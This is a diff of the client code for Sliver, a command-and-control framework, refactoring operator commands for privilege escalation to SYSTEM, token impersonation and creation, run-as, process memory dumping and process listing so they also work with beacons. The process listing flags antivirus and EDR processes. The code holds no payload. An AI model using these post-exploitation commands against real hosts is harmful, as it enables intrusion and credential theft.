con.PrintErrorf("Command only supported on Windows.\n")
|
||||
return
|
||||
}
|
||||
|
||||
privs, err := con.Rpc.GetPrivs(context.Background(), &sliverpb.GetPrivsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
pid := getPID(session, beacon)
|
||||
if privs.Response != nil && privs.Response.Async {
|
||||
con.AddBeaconCallback(privs.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, privs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintGetPrivs(privs, pid, con)
|
||||
})
|
||||
con.PrintAsyncResponse(privs.Response)
|
||||
} else {
|
||||
PrintGetPrivs(privs, pid, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintGetPrivs - Print the results of the get privs command
|
||||
func PrintGetPrivs(privs *sliverpb.GetPrivs, pid int32, con *console.SliverConsoleClient) {
|
||||
// Response is the Envelope (see RPC API), Err is part of it.
|
||||
if privs.Response != nil && privs.Response.Err != "" {
|
||||
con.PrintErrorf("NOTE: Information may be incomplete due to an error:\n")
|
||||
con.PrintErrorf("%s\n", privs.Response.Err)
|
||||
}
|
||||
|
||||
if privs.PrivInfo == nil {
|
||||
return
|
||||
}
|
||||
|
||||
var processName string = "Current Process"
|
||||
if privs.ProcessName != "" {
|
||||
processName = privs.ProcessName
|
||||
}
|
||||
@@ -68,7 +85,7 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// for column width
|
||||
var nameColumnWidth int = 0
|
||||
var descriptionColumnWidth int = 0
|
||||
var introWidth int = 34 + len(processName) + len(strconv.Itoa(int(session.PID)))
|
||||
var introWidth int = 34 + len(processName) + len(strconv.Itoa(int(pid)))
|
||||
|
||||
for _, entry := range privs.PrivInfo {
|
||||
if len(entry.Name) > nameColumnWidth {
|
||||
@@ -83,7 +100,7 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
nameColumnWidth += 1
|
||||
descriptionColumnWidth += 1
|
||||
|
||||
con.Printf("Privilege Information for %s (PID: %d)\n", processName, session.PID)
|
||||
con.Printf("Privilege Information for %s (PID: %d)\n", processName, pid)
|
||||
con.Println(strings.Repeat("-", introWidth))
|
||||
con.Printf("\nProcess Integrity Level: %s\n\n", privs.ProcessIntegrity)
|
||||
con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "Name", descriptionColumnWidth, "Description", "Attributes")
|
||||
@@ -107,3 +124,23 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf("\n")
|
||||
}
|
||||
}
|
||||
|
||||
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.OS
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.OS
|
||||
}
|
||||
panic("no session or beacon")
|
||||
}
|
||||
|
||||
func getPID(session *clientpb.Session, beacon *clientpb.Beacon) int32 {
|
||||
if session != nil {
|
||||
return session.PID
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.PID
|
||||
}
|
||||
panic("no session or beacon")
|
||||
}
|
||||
@@ -23,34 +23,58 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// GetSystemCmd - Windows only, attempt to get SYSTEM on the remote system
|
||||
func GetSystemCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
targetOS := getOS(session, beacon)
|
||||
if targetOS != "windows" {
|
||||
con.PrintErrorf("Command only supported on Windows.\n")
|
||||
return
|
||||
}
|
||||
|
||||
process := ctx.Flags.String("process")
|
||||
config := con.GetActiveSessionConfig()
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Attempting to create a new sliver session as 'NT AUTHORITY\\SYSTEM'...", ctrl)
|
||||
|
||||
getsystemResp, err := con.Rpc.GetSystem(context.Background(), &clientpb.GetSystemReq{
|
||||
getSystem, err := con.Rpc.GetSystem(context.Background(), &clientpb.GetSystemReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Config: config,
|
||||
HostingProcess: process,
|
||||
})
|
||||
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if getsystemResp.GetResponse().GetErr() != "" {
|
||||
|
||||
if getSystem.Response != nil && getSystem.Response.Async {
|
||||
con.AddBeaconCallback(getSystem.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, getSystem)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintGetSystem(getSystem, con)
|
||||
})
|
||||
con.PrintAsyncResponse(getSystem.Response)
|
||||
} else {
|
||||
PrintGetSystem(getSystem, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintGetSystem - Print the results of get system
|
||||
func PrintGetSystem(getsystemResp *sliverpb.GetSystem, con *console.SliverConsoleClient) {
|
||||
if getsystemResp.Response != nil && getsystemResp.Response.GetErr() != "" {
|
||||
con.PrintErrorf("%s\n", getsystemResp.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
@@ -22,28 +22,48 @@ import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// ImpersonateCmd - Windows only, impersonate a user token
|
||||
func ImpersonateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
username := ctx.Args.String("username")
|
||||
impResp, err := con.Rpc.Impersonate(context.Background(), &sliverpb.ImpersonateReq{
|
||||
impersonate, err := con.Rpc.Impersonate(context.Background(), &sliverpb.ImpersonateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Username: username,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
if impResp.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("%s\n", impResp.GetResponse().GetErr())
|
||||
|
||||
if impersonate.Response != nil && impersonate.Response.Async {
|
||||
con.AddBeaconCallback(impersonate.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, impersonate)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintImpersonate(impersonate, username, con)
|
||||
})
|
||||
con.PrintAsyncResponse(impersonate.Response)
|
||||
} else {
|
||||
PrintImpersonate(impersonate, username, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintImpersonate - Print the results of the attempted impersonation
|
||||
func PrintImpersonate(impersonate *sliverpb.Impersonate, username string, con *console.SliverConsoleClient) {
|
||||
if impersonate.Response != nil && impersonate.Response.GetErr() != "" {
|
||||
con.PrintErrorf("%s\n", impersonate.Response.GetErr())
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Successfully impersonated %s\n", username)
|
||||
|
||||
@@ -22,16 +22,19 @@ import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// MakeTokenCmd - Windows only, create a token using "valid" credentails
|
||||
func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
username := ctx.Flags.String("username")
|
||||
password := ctx.Flags.String("password")
|
||||
domain := ctx.Flags.String("domain")
|
||||
@@ -50,17 +53,32 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Domain: domain,
|
||||
Password: password,
|
||||
})
|
||||
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if makeToken.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("%s\n", makeToken.GetResponse().GetErr())
|
||||
if makeToken.Response != nil && makeToken.Response.Async {
|
||||
con.AddBeaconCallback(makeToken.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, makeToken)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintMakeToken(makeToken, domain, username, con)
|
||||
})
|
||||
con.PrintAsyncResponse(makeToken.Response)
|
||||
} else {
|
||||
PrintMakeToken(makeToken, domain, username, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintMakeToken - Print the results of attempting to make a token
|
||||
func PrintMakeToken(makeToken *sliverpb.MakeToken, domain string, username string, con *console.SliverConsoleClient) {
|
||||
if makeToken.Response != nil && makeToken.Response.GetErr() != "" {
|
||||
con.PrintErrorf("%s\n", makeToken.Response.GetErr())
|
||||
return
|
||||
}
|
||||
con.Println()
|
||||
|
||||
@@ -22,22 +22,46 @@ import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// RevToSelfCmd - Drop any impersonated tokens
|
||||
func RevToSelfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
_, err := con.Rpc.RevToSelf(context.Background(), &sliverpb.RevToSelfReq{
|
||||
|
||||
revert, err := con.Rpc.RevToSelf(context.Background(), &sliverpb.RevToSelfReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if revert.Response != nil && revert.Response.Async {
|
||||
con.AddBeaconCallback(revert.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, revert)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintRev2Self(revert, con)
|
||||
})
|
||||
con.PrintAsyncResponse(revert.Response)
|
||||
} else {
|
||||
PrintRev2Self(revert, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintRev2Self - Print the result of revert to self
|
||||
func PrintRev2Self(revert *sliverpb.RevToSelf, con *console.SliverConsoleClient) {
|
||||
if revert.Response != nil && revert.Response.GetErr() != "" {
|
||||
con.PrintErrorf("%s\n", revert.Response.GetErr())
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Back to self...")
|
||||
|
||||
@@ -22,16 +22,19 @@ import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// RunAsCmd - Run a command as another user on the remote system
|
||||
func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
username := ctx.Flags.String("username")
|
||||
process := ctx.Flags.String("process")
|
||||
arguments := ctx.Flags.String("args")
|
||||
@@ -46,22 +49,49 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
runAsResp, err := con.Rpc.RunAs(context.Background(), &sliverpb.RunAsReq{
|
||||
runAs, err := con.Rpc.RunAs(context.Background(), &sliverpb.RunAsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Username: username,
|
||||
ProcessName: process,
|
||||
Args: arguments,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
if runAsResp.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("%s\n", runAsResp.GetResponse().GetErr())
|
||||
return
|
||||
name := getName(session, beacon)
|
||||
if runAs.Response != nil && runAs.Response.Async {
|
||||
con.AddBeaconCallback(runAs.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, runAs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintRunAs(runAs, process, arguments, name, con)
|
||||
})
|
||||
con.PrintAsyncResponse(runAs.Response)
|
||||
} else {
|
||||
PrintRunAs(runAs, process, arguments, name, con)
|
||||
}
|
||||
|
||||
con.PrintInfof("Successfully ran %s %s on %s\n", process, arguments, session.GetName())
|
||||
}
|
||||
|
||||
// PrintRunAs - Print the result of run as
|
||||
func PrintRunAs(runAs *sliverpb.RunAs, process string, args string, name string, con *console.SliverConsoleClient) {
|
||||
if runAs.Response != nil && runAs.Response.GetErr() != "" {
|
||||
con.PrintErrorf("%s\n", runAs.Response.GetErr())
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Successfully ran %s %s on %s\n", process, args, name)
|
||||
}
|
||||
|
||||
func getName(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.Name
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.Name
|
||||
}
|
||||
panic("no session or beacon")
|
||||
}
|
||||
@@ -22,22 +22,26 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"path"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// ProcdumpCmd - Dump the memory of a remote process
|
||||
func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
pid := ctx.Flags.Int("pid")
|
||||
name := ctx.Flags.String("name")
|
||||
saveTo := ctx.Flags.String("save")
|
||||
|
||||
if pid == -1 && name != "" {
|
||||
pid = GetPIDByName(ctx, name, con)
|
||||
@@ -66,13 +70,52 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
hostname := session.Hostname
|
||||
tmpFileName := path.Base(fmt.Sprintf("procdump_%s_%d_*", hostname, pid))
|
||||
tmpFile, err := ioutil.TempFile("", tmpFileName)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error creating temporary file: %v\n", err)
|
||||
return
|
||||
hostname := getHostname(session, beacon)
|
||||
if dump.Response != nil && dump.Response.Async {
|
||||
con.AddBeaconCallback(dump.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, dump)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintProcessDump(dump, saveTo, hostname, pid, con)
|
||||
})
|
||||
con.PrintAsyncResponse(dump.Response)
|
||||
} else {
|
||||
PrintProcessDump(dump, saveTo, hostname, pid, con)
|
||||
}
|
||||
tmpFile.Write(dump.GetData())
|
||||
con.PrintInfof("Process dump stored in: %s\n", tmpFile.Name())
|
||||
|
||||
}
|
||||
|
||||
// PrintProcessDump - Handle the results of a process dump
|
||||
func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string, pid int, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
var saveToFile *os.File
|
||||
if saveTo == "" {
|
||||
tmpFileName := filepath.Base(fmt.Sprintf("procdump_%s_%d_*", hostname, pid))
|
||||
saveToFile, err = ioutil.TempFile("", tmpFileName)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error creating temporary file: %s\n", err)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error creating file: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
defer saveToFile.Close()
|
||||
saveToFile.Write(dump.GetData())
|
||||
con.PrintInfof("Process dump stored in: %s\n", saveToFile.Name())
|
||||
}
|
||||
|
||||
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.Hostname
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.Hostname
|
||||
}
|
||||
return ""
|
||||
}
|
||||
+112
-80
@@ -19,42 +19,39 @@ package processes
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
// "time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var (
|
||||
// Stylizes known processes in the `ps` command
|
||||
knownProcs = map[string]string{
|
||||
"ccSvcHst.exe": console.Red, // SEP
|
||||
"cb.exe": console.Red, // Carbon Black
|
||||
"MsMpEng.exe": console.Red, // Windows Defender
|
||||
"smartscreen.exe": console.Red, // Windows Defender Smart Screen
|
||||
knownSecurityTools = map[string]string{
|
||||
"ccSvcHst.exe": console.Red, // SEP
|
||||
"cb.exe": console.Red, // Carbon Black
|
||||
"MsMpEng.exe": console.Red, // Windows Defender
|
||||
"smartscreen.exe": console.Red, // Windows Defender Smart Screen
|
||||
"bdservicehost.exe": console.Red, // Bitdefender (Total Security)
|
||||
"bdagent.exe": console.Red, // Bitdefender (Total Security)
|
||||
"bdredline.exe": console.Red, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
}
|
||||
)
|
||||
|
||||
// PsCmd - List processes on the remote system
|
||||
func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
pidFilter := ctx.Flags.Int("pid")
|
||||
exeFilter := ctx.Flags.String("exe")
|
||||
ownerFilter := ctx.Flags.String("owner")
|
||||
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
@@ -62,91 +59,116 @@ func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
os := getOS(session, beacon)
|
||||
if ps.Response != nil && ps.Response.Async {
|
||||
con.AddBeaconCallback(ps.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, ps)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintPS(os, ps, false, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(ps.Response)
|
||||
} else {
|
||||
PrintPS(os, ps, true, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', tabwriter.DiscardEmptyColumns)
|
||||
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.OS
|
||||
} else if beacon != nil {
|
||||
return beacon.OS
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
switch session.GetOS() {
|
||||
// PrintPS - Prints the process list
|
||||
func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
pidFilter := ctx.Flags.Int("pid")
|
||||
exeFilter := ctx.Flags.String("exe")
|
||||
ownerFilter := ctx.Flags.String("owner")
|
||||
overflow := ctx.Flags.Bool("overflow")
|
||||
skipPages := ctx.Flags.Int("skip-pages")
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
|
||||
switch os {
|
||||
case "windows":
|
||||
fmt.Fprintf(table, "pid\tppid\towner\texecutable\tsession\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("pid")),
|
||||
strings.Repeat("=", len("ppid")),
|
||||
strings.Repeat("=", len("owner")),
|
||||
strings.Repeat("=", len("executable")),
|
||||
strings.Repeat("=", len("session")),
|
||||
)
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable", "session"})
|
||||
case "darwin":
|
||||
fallthrough
|
||||
case "linux":
|
||||
fmt.Fprintf(table, "pid\tppid\towner\texecutable\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("pid")),
|
||||
strings.Repeat("=", len("ppid")),
|
||||
strings.Repeat("=", len("owner")),
|
||||
strings.Repeat("=", len("executable")),
|
||||
)
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
|
||||
default:
|
||||
fmt.Fprintf(table, "pid\tppid\towner\texecutable\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("pid")),
|
||||
strings.Repeat("=", len("ppid")),
|
||||
strings.Repeat("=", len("owner")),
|
||||
strings.Repeat("=", len("executable")),
|
||||
)
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
|
||||
}
|
||||
|
||||
cmdLine := ctx.Flags.Bool("print-cmdline")
|
||||
lineColors := []string{}
|
||||
for _, proc := range ps.Processes {
|
||||
var lineColor = ""
|
||||
if pidFilter != -1 && proc.Pid == int32(pidFilter) {
|
||||
lineColor = printProcInfo(table, proc, cmdLine, con)
|
||||
}
|
||||
if exeFilter != "" && strings.HasPrefix(proc.Executable, exeFilter) {
|
||||
lineColor = printProcInfo(table, proc, cmdLine, con)
|
||||
}
|
||||
if ownerFilter != "" && strings.HasPrefix(proc.Owner, ownerFilter) {
|
||||
lineColor = printProcInfo(table, proc, cmdLine, con)
|
||||
}
|
||||
if pidFilter == -1 && exeFilter == "" && ownerFilter == "" {
|
||||
lineColor = printProcInfo(table, proc, cmdLine, con)
|
||||
}
|
||||
|
||||
// Should be set to normal/green if we rendered the line
|
||||
if lineColor != "" {
|
||||
lineColors = append(lineColors, lineColor)
|
||||
}
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
for index, line := range strings.Split(outputBuf.String(), "\n") {
|
||||
if len(line) == 0 {
|
||||
if pidFilter != -1 && proc.Pid != int32(pidFilter) {
|
||||
continue
|
||||
}
|
||||
// We need to account for the two rows of column headers
|
||||
if 0 < len(line) && 2 <= index {
|
||||
lineColor := lineColors[index-2]
|
||||
con.Printf("%s%s%s\n", lineColor, line, console.Normal)
|
||||
} else {
|
||||
con.Printf("%s\n", line)
|
||||
if exeFilter != "" && !strings.Contains(strings.ToLower(proc.Executable), strings.ToLower(exeFilter)) {
|
||||
continue
|
||||
}
|
||||
if ownerFilter != "" && !strings.Contains(strings.ToLower(proc.Owner), strings.ToLower(ownerFilter)) {
|
||||
continue
|
||||
}
|
||||
procRow(tw, proc, cmdLine, con)
|
||||
}
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "pid", Mode: table.Asc},
|
||||
{Name: "ppid", Mode: table.Asc},
|
||||
})
|
||||
|
||||
settings.PaginateTable(tw, skipPages, overflow, interactive, con)
|
||||
}
|
||||
|
||||
// printProcInfo - Stylizes the process information
|
||||
func printProcInfo(table *tabwriter.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) string {
|
||||
// procRow - Stylizes the process information
|
||||
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
|
||||
color := console.Normal
|
||||
if modifyColor, ok := knownProcs[proc.Executable]; ok {
|
||||
if modifyColor, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
color = modifyColor
|
||||
}
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session != nil && proc.Pid == session.PID {
|
||||
color = console.Green
|
||||
}
|
||||
if beacon != nil && proc.Pid == beacon.PID {
|
||||
color = console.Green
|
||||
}
|
||||
|
||||
var row table.Row
|
||||
switch session.GetOS() {
|
||||
case "windows":
|
||||
fmt.Fprintf(table, "%d\t%d\t%s\t%s\t%d\t\n", proc.Pid, proc.Ppid, proc.Owner, proc.Executable, proc.SessionID)
|
||||
if cmdLine {
|
||||
var args string
|
||||
if len(proc.CmdLine) >= 1 {
|
||||
args = strings.Join(proc.CmdLine, " ")
|
||||
} else {
|
||||
args = proc.Executable
|
||||
}
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, args),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
|
||||
}
|
||||
} else {
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
|
||||
}
|
||||
}
|
||||
case "darwin":
|
||||
fallthrough
|
||||
case "linux":
|
||||
@@ -159,12 +181,22 @@ func printProcInfo(table *tabwriter.Writer, proc *commonpb.Process, cmdLine bool
|
||||
} else {
|
||||
args = proc.Executable
|
||||
}
|
||||
fmt.Fprintf(table, "%d\t%d\t%s\t%s\t\n", proc.Pid, proc.Ppid, proc.Owner, args)
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, args),
|
||||
}
|
||||
} else {
|
||||
fmt.Fprintf(table, "%d\t%d\t%s\t%s\t\n", proc.Pid, proc.Ppid, proc.Owner, proc.Executable)
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
}
|
||||
}
|
||||
}
|
||||
return color
|
||||
tw.AppendRow(row)
|
||||
}
|
||||
|
||||
// GetPIDByName - Get a PID by name from the active session
|
||||
|
||||
@@ -22,8 +22,10 @@ import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// TerminateCmd - Terminate a process on the remote system
|
||||
